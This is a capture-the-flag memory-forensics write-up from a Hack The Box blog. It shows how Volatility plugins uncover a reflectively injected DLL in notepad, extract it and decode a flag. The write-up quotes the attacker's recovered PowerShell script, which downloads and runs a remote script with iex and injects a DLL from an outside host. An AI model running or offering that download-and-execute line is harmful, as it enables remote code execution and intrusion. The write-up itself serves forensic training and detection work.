Write-Ups

6 min read

CA CTF 2022: Reflective DLL injection detection - Reflection

Detecting and extracting a malicious DLL, which was injected using Reflective Injection.

thewildspirit avatar

thewildspirit,
Jul 02
2022

This writeup will go over the solution for the hard forensics challenge named Reflection. To solve this challenge, a player needs to detect and retrieve an injected malicious DLL file from a memory dump.

Description πŸ“„

You and Miyuki have succeeded in dis-empowering Draeger's army in every possible way. Stopped their fuel-supply plan, arrested their ransomware gang, prevented massive phishing campaigns, and understood their tactics and techniques in depth. Now it is the time for the final blow. The final preparations are completed. Everyone is in their stations waiting for the signal. This mission can only be successful if you use the element of surprise. Thus, the signal must remain a secret until the end of the operation. During some last-minute checks, you notice some weird behavior in Miyuki's PC. You must find out if someone managed to gain access to her PC before it's too late. If so, the signal must change. Time is limited, and there is no room for errors.

Volatility Profile

For this challenge, we are given a memory dump. Usually, when dealing with a memory forensics challenge, our tool of choice is volatility.

Firstly, we need to determine the proper profile for volatility to analyse the sample. The command imageinfo can identify the OS, architecture, and more.

python2 volatility/vol.py -f memory.raw imageinfo

The profile is: Win7SP1x86_23418.

Enumeration

A good first step is to enumerate the running processes when analysing a memory dump. The command pstree can print the process list as a tree.

python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 pstree

From the command's output, we can notice that the interesting processes here are:

  • Powershell.exe

  • notepad.exe

Since PowerShell is running, we can try to see if we can retrieve the command history by using the consoles plugin. This plugin extracts the command history by scanning for the _CONSOLE_INFORMATION structure.

python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 consoles

The attacker executed the script named update.ps1 in the folder C:\Windows\security. By default, the latter does not contain the update.ps1 script. It is very uncommon and needs further analysis.

To access the script, we will use the filescan plugin to locate the physical address of the file's _FILE_OBJECT structure and then use the dumpfiles plugin to extract its content to disk. Here, we need to note that the file may still not exist in memory.

python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 filescan |grep "update.ps1"

Now that we know the file still exists in memory, we can extract it.

python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003f4551c0 -D ./dumps

The content of the file can be seen below:

iex (New-Object net.webclient).Downloadstring('https://windowsliveupdater.com/sysdriver.ps1');
Invoke-ReflectivePEInjection -PEUrl https://windowsliveupdater.com/winmgr.dll -ProcName notepad

The script executes two commands:

  1. It downloads and loads in memory a script called sysdriver.ps1

  2. Then, it invokes a function called Invoke-ReflectivePEInjection, which is not a default PowerShell function. The given parameters are a URL pointing to a DLL file and a process named notepad.

Since the function used by the script is loaded in memory, we can try to find its content in Powershell's memory.

We will use the memdump plugin for this task, which dumps the addressable memory of a process to disk.

python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 memdump -p 3424 -D ./dumps

Then, we can carve out the script from memory using the grep command with -A and -B flags. 

Otherwise, we can search the script's name on google and find out that it is a PowerSploit module.

How Reflection works πŸͺž

A typical DLL injection technique uses LoadLibraryA, which loads a DLL into a target process using its full path on the disk. Reflective injection loads a DLL into a process's memory while it handles its initialization without the help of the loader mentioned above, to avoid touching the disk. As described by the script's author, the script implements some of the LoadLibraryA's functionalities, such as:

  1. Allocate space for the DLL and copy the DLL headers into memory

  2. Copy the DLL sections to memory

  3. Perform base relocations on the sections loaded

  4. Load DLLs required by the DLL being loaded

  5. Set correct memory permissions in memory for the DLL

  6. Call DLLMain, so the DLL knows it is loaded

  7. Return the handle to the DLL, which is the memory address of the first byte of the DLL

In addition, we notice the Invoke-ReflectivePEInjection.ps1 script, if not specified otherwise, zeroes out the DLL's header. As a result, we can not use tools like foremost or binwalk to carve the file out of the memory.

Find the weakest link ⛓️

Reading the list mentioned above, we understand that enumerating the loaded DLLs in notepad, using the dlllist plugin, will not work. The reason is that the plugin enumerates DLLs by walking the load order list.

The weakest link here is step 5. The memory permissions must be RWX for the DLL to be executed.

Malfind plugin works exactly this way. It searches for hidden and/or injected code in processes.

python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 malfind -p 3244

Examining the output, we can see that this memory section has only null bytes with a couple of exceptions.

We need to investigate this further by loading a couple more memory pages. For this task, we are going to use volshell. This plugin allows us to inspect the memory dump from a Python command prompt manually.

python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 volshell -p 3244

The first two bytes are zero, but the rest of the file seems to be a valid DLL.

Bypass Anti-Forensics Techniques

Now that we know the DLL's address in the notepad process, we can try to dump it using the dlldump plugin. This plugin extracts a DLL from a process, given a specific process ID and offset.

python2 volatility/vol.py -f memory.raw --profile=Win7SP1x86_23418 dlldump -p 3244 -b 0xb0000 -D dumps

Volatility cannot validate the DLL's header and it stops the procedure.

To bypass this anti-forensics technique, we need to edit volatility's source code to skip the header check.

By commenting out this line, we can make the plugin work.

def get_nt_header(self):
        """Get the NT header"""

        if self.e_magic != 0x5a4d:
            raise ValueError('e_magic {0:04X} is not a valid DOS signature.'.format(self.e_magic))

We can create a valid file by replacing the first two bytes with a valid DOS signature,MZ.

Reverse-Engineering

As described by the Invoke-ReflectivePEInjection script's documentation, the injected DLL must have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.

By opening the DLL in ghidra we can easily see some exported functions, and finally, the wanted one.

And as we can see, there is another function being called, with this array as a parameter.

(*_DAT_000b2000)(&local_7c,0);

By decrypting the hex array, we get the flag. 🏴

Hack The Blog

The latest news and updates, direct from Hack The Box